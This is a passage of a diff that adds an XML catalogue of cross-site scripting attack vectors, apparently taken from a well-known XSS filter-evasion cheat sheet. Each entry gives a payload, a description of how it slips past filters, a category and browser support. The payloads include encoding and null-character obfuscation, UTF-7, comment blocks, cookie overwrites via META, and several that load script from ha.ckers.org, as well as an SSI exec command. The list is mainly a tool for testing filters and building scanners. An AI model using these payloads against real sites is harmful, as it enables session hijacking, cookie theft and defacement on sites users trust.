+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>XML data island w/comment</name> 
+		<code>&lt;XML ID=&quot;xss&quot;&gt;&lt;I&gt;&lt;B&gt;&lt;IMG SRC=&quot;javas&lt;!-- --&gt;cript:alert(&apos;XSS&apos;)&quot;&gt;&lt;/B&gt;&lt;/I&gt;&lt;/XML&gt;
+&lt;SPAN DATASRC=&quot;#xss&quot; DATAFLD=&quot;B&quot; DATAFORMATAS=&quot;HTML&quot;&gt;&lt;/SPAN&gt;</code> 
+		<desc>XML data island with comment obfuscation (doesn&apos;t use CDATA fields, but rather uses comments to break up the javascript directive)</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>XML (locally hosted)</name> 
+		<code>&lt;XML SRC=&quot;http://ha.ckers.org/xsstest.xml&quot; ID=I&gt;&lt;/XML&gt;
+&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;</code> 
+		<desc>Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains the cross site scripting vector.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>XML HTML+TIME</name> 
+		<code>&lt;HTML&gt;&lt;BODY&gt;
+&lt;?xml:namespace prefix=&quot;t&quot; ns=&quot;urn:schemas-microsoft-com:time&quot;&gt;
+&lt;?import namespace=&quot;t&quot; implementation=&quot;#default#time2&quot;&gt;
+&lt;t:set attributeName=&quot;innerHTML&quot; to=&quot;XSS&lt;SCRIPT DEFER&gt;alert(&apos;XSS&apos;)&lt;/SCRIPT&gt;&quot;&gt; &lt;/BODY&gt;&lt;/HTML&gt;</code> 
+		<desc>HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work.</desc> 
+		<label>HTML Element Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Commented-out Block</name> 
+		<code>&lt;!--[if gte IE 4]&gt;
+&lt;SCRIPT&gt;alert(&apos;XSS&apos;);&lt;/SCRIPT&gt;
+&lt;![endif]--&gt;</code> 
+		<desc>Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode).  Some websites consider anything inside a comment block to be safe and therefore it does not need to be removed, which allows our XSS vector. Or the system could add comment tags around something to attempt to render it harmless.  As we can see, that probably wouldn't do the job.</desc> 
+		<label>Other Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Cookie Manipulation</name> 
+		<code>&lt;META HTTP-EQUIV=&quot;Set-Cookie&quot; Content=&quot;USERID=&lt;SCRIPT&gt;alert(&apos;XSS&apos;)&lt;/SCRIPT&gt;&quot;&gt;</code> 
+		<desc>Cookie manipulation - admittedly this is pretty obscure but I have seen a few examples where &lt;META is allowed and you can user it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim&apos;s cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc).</desc> 
+		<label>Other Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Local .htc file</name> 
+		<code>&lt;XSS STYLE=&quot;behavior: url(http://ha.ckers.org/xss.htc);&quot;&gt;</code> 
+		<desc>This uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute.</desc> 
+		<label>Other Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Rename .js to .jpg</name> 
+		<code>&lt;SCRIPT SRC=&quot;http://ha.ckers.org/xss.jpg&quot;&gt;&lt;/SCRIPT&gt;</code> 
+		<desc>Assuming you can only fit in a few characters and it filters against &quot;.js&quot; you can rename your JavaScript file to an image as an XSS vector.</desc> 
+		<label>Other Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>SSI</name> 
+		<code>&lt;!--#exec cmd=&quot;/bin/echo &apos;&lt;SCRIPT SRC&apos;&quot;--&gt;&lt;!--#exec cmd=&quot;/bin/echo &apos;=http://ha.ckers.org/xss.js&gt;&lt;/SCRIPT&gt;&apos;&quot;--&gt;</code> 
+		<desc>SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector.  I probably don&apos;t need to mention this, but if you can run commands on the server there are no doubt much more serious issues.</desc> 
+		<label>Other Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>PHP</name> 
+		<code>&lt;? echo(&apos;&lt;SCR)&apos;;
+echo(&apos;IPT&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;&apos;); ?&gt;</code> 
+		<desc>PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues.</desc> 
+		<label>Other Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>JavaScript Includes</name> 
+		<code>&lt;BR SIZE=&quot;&amp;{alert(&apos;XSS&apos;)}&quot;&gt;</code> 
+		<desc>&amp;JavaScript includes (works in Netscape 4.x).</desc> 
+		<label>Other Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS4&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Character Encoding Example</name> 
+		<code>&lt;
+%3C
+&amp;lt
+&amp;lt;
+&amp;LT
+&amp;LT;
+&amp;#60
+&amp;#060
+&amp;#0060
+&amp;#00060
+&amp;#000060
+&amp;#0000060
+&amp;#60;
+&amp;#060;
+&amp;#0060;
+&amp;#00060;
+&amp;#000060;
+&amp;#0000060;
+&amp;#x3c
+&amp;#x03c
+&amp;#x003c
+&amp;#x0003c
+&amp;#x00003c
+&amp;#x000003c
+&amp;#x3c;
+&amp;#x03c;
+&amp;#x003c;
+&amp;#x0003c;
+&amp;#x00003c;
+&amp;#x000003c;
+&amp;#X3c
+&amp;#X03c
+&amp;#X003c
+&amp;#X0003c
+&amp;#X00003c
+&amp;#X000003c
+&amp;#X3c;
+&amp;#X03c;
+&amp;#X003c;
+&amp;#X0003c;
+&amp;#X00003c;
+&amp;#X000003c;
+&amp;#x3C
+&amp;#x03C
+&amp;#x003C
+&amp;#x0003C
+&amp;#x00003C
+&amp;#x000003C
+&amp;#x3C;
+&amp;#x03C;
+&amp;#x003C;
+&amp;#x0003C;
+&amp;#x00003C;
+&amp;#x000003C;
+&amp;#X3C
+&amp;#X03C
+&amp;#X003C
+&amp;#X0003C
+&amp;#X00003C
+&amp;#X000003C
+&amp;#X3C;
+&amp;#X03C;
+&amp;#X003C;
+&amp;#X0003C;
+&amp;#X00003C;
+&amp;#X000003C;
+\x3c
+\x3C
+\u003c
+\u003C</code> 
+		<desc>All of the possible combinations of the character &quot;&lt;&quot; in HTML and JavaScript.  Most of these won&apos;t render, but many of them can get rendered in certain circumstances (standards are great, aren&apos;t they?).</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support:</browser> 
+	</attack> 
+	<attack> 
+		<name>Case Insensitive</name> 
+		<code>&lt;IMG SRC=JaVaScRiPt:alert(&apos;XSS&apos;)&gt;</code> 
+		<desc>Case insensitive XSS attack vector.</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>HTML Entities</name> 
+		<code>&lt;IMG SRC=javascript:alert(&amp;quot;XSS&amp;quot;)&gt;</code> 
+		<desc>HTML entities (the semicolons are required for this to work).</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Grave Accents</name> 
+		<code>&lt;IMG SRC=`javascript:alert(&quot;RSnake says, &apos;XSS&apos;&quot;)`&gt;</code> 
+		<desc>Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don&apos;t know about grave accents).</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Image w/CharCode</name> 
+		<code>&lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&gt;</code> 
+		<desc>If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need.</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>UTF-8 Unicode Encoding</name> 
+		<code>&lt;IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;&gt;</code> 
+		<desc>UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Long UTF-8 Unicode w/out Semicolons</name> 
+		<code>&lt;IMG SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&amp;#0000088&amp;#0000083&amp;#0000083&amp;#0000039&amp;#0000041&gt;</code> 
+		<desc>Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&amp;#XX;", since most people don&apos;t know about padding - up to 7 numeric characters total).  This is also useful against people who decode against strings like $tmp_string =~ s/.*\&amp;#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an html encoded string (I&apos;ve seen this in the wild).</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>DIV w/Unicode</name> 
+		<code>&lt;DIV STYLE=&quot;background-image:\0075\0072\006C\0028&apos;\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029&apos;\0029&quot;&gt;</code> 
+		<desc>DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter).  The original vulnerability was found by Renaud Lifchitz (http://www.sysdream.com) as a vulnerability in Hotmail.</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Hex Encoding w/out Semicolons</name> 
+		<code>&lt;IMG SRC=&amp;#x6A&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;#x70&amp;#x74&amp;#x3A&amp;#x61&amp;#x6C&amp;#x65&amp;#x72&amp;#x74&amp;#x28&amp;#x27&amp;#x58&amp;#x53&amp;#x53&amp;#x27&amp;#x29&gt;</code> 
+		<desc>Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string = ~ s/.*\&amp;#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters).</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>UTF-7 Encoding</name> 
+		<code>&lt;HEAD&gt;&lt;META HTTP-EQUIV=&quot;CONTENT-TYPE&quot; CONTENT=&quot;text/html; charset=UTF-7&quot;&gt; &lt;/HEAD&gt;+ADw-SCRIPT+AD4-alert(&apos;XSS&apos;);+ADw-/SCRIPT+AD4-</code> 
+		<desc>UTF-7 encoding - if the page that the XSS resides on doesn&apos;t provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don&apos;t need the charset statement if the user&apos;s browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire  http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google&apos;s custom 404 script.</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Escaping JavaScript escapes</name> 
+		<code>\&quot;;alert(&apos;XSS&apos;);//</code> 
+		<desc>Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: &lt;SCRIPT&gt;var a=&quot;$ENV{QUERY_STRING}&quot;;&lt;/SCRIPT&gt; and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read &lt;SCRIPT&gt;var a=&quot;&quot;;alert(&apos;XSS&apos;);//&quot;;&lt;/SCRIPT&gt; which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire.</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>End title tag</name> 
+		<code>&lt;/TITLE&gt;&lt;SCRIPT&gt;alert("XSS");&lt;/SCRIPT&gt;</code> 
+		<desc>This is a simple XSS vector that closes TITLE tags, which can encapsulate the malicious cross site scripting attack.</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>STYLE w/broken up JavaScript</name> 
+		<code>&lt;STYLE&gt;@im\port&apos;\ja\vasc\ript:alert(&quot;XSS&quot;)&apos;;&lt;/STYLE&gt;</code> 
+		<desc>STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts).</desc> 
+		<label>Character Encoding Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Embedded Tab</name> 
+		<code>&lt;IMG SRC=&quot;jav&#x09;ascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>Embedded tab to break up the cross site scripting attack.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Embedded Encoded Tab</name> 
+		<code>&lt;IMG SRC=&quot;jav&amp;#x09;ascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>Embedded encoded tab to break up XSS.  For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Embedded Newline</name> 
+		<code>&lt;IMG SRC=&quot;jav&amp;#x0A;ascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>Embedded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Embedded Carriage Return</name> 
+		<code>&lt;IMG SRC=&quot;jav&amp;#x0D;ascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I&apos;ve seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters).</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Multiline w/Carriage Returns</name> 
+		<code>&lt;IMG&#x0D;SRC&#x0D;=&#x0D;&quot;&#x0D;j&#x0D;a&#x0D;v&#x0D;a&#x0D;s&#x0D;c&#x0D;r&#x0D;i&#x0D;p&#x0D;t&#x0D;:&#x0D;a&#x0D;l&#x0D;e&#x0D;r&#x0D;t&#x0D;(&#x0D;&apos;&#x0D;X&#x0D;S&#x0D;S&#x0D;&apos;&#x0D;)&#x0D;&quot;&#x0D;&gt;&#x0D;</code> 
+		<desc>Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector).</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Null Chars 1</name> 
+		<code>perl -e &apos;print &quot;&lt;IMG SRC=java\0script:alert(&quot;XSS&quot;)>&quot;;&apos;&gt; out</code> 
+		<desc>Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy (http://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file.  Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example.</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Null Chars 2</name> 
+		<code>perl -e &apos;print &quot;&amp;&lt;SCR\0IPT&gt;alert(&quot;XSS&quot;)&lt;/SCR\0IPT&gt;&quot;;&apos; &gt; out</code> 
+		<desc>Here is a little known XSS attack vector using null characters.  You can actually break up the HTML itself using the same nulls as shown above. I&apos;ve seen this vector bypass some of the most restrictive XSS filters to date</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
+		<name>Spaces/Meta Chars</name> 
+		<code>&lt;IMG SRC=&quot; &amp;#14;  javascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+		<desc>Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn&apos;t take into account spaces in the word &quot;javascript:&quot; - which is correct since that won&apos;t render- and makes the false assumption that you can&apos;t have a space between the quote and the &quot;javascript:&quot; keyword. The actual reality is you can have any char from 1-32 in decimal).</desc> 
+		<label>Embedded Character Attacks</label> 
+		<browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+	</attack> 
+	<attack> 
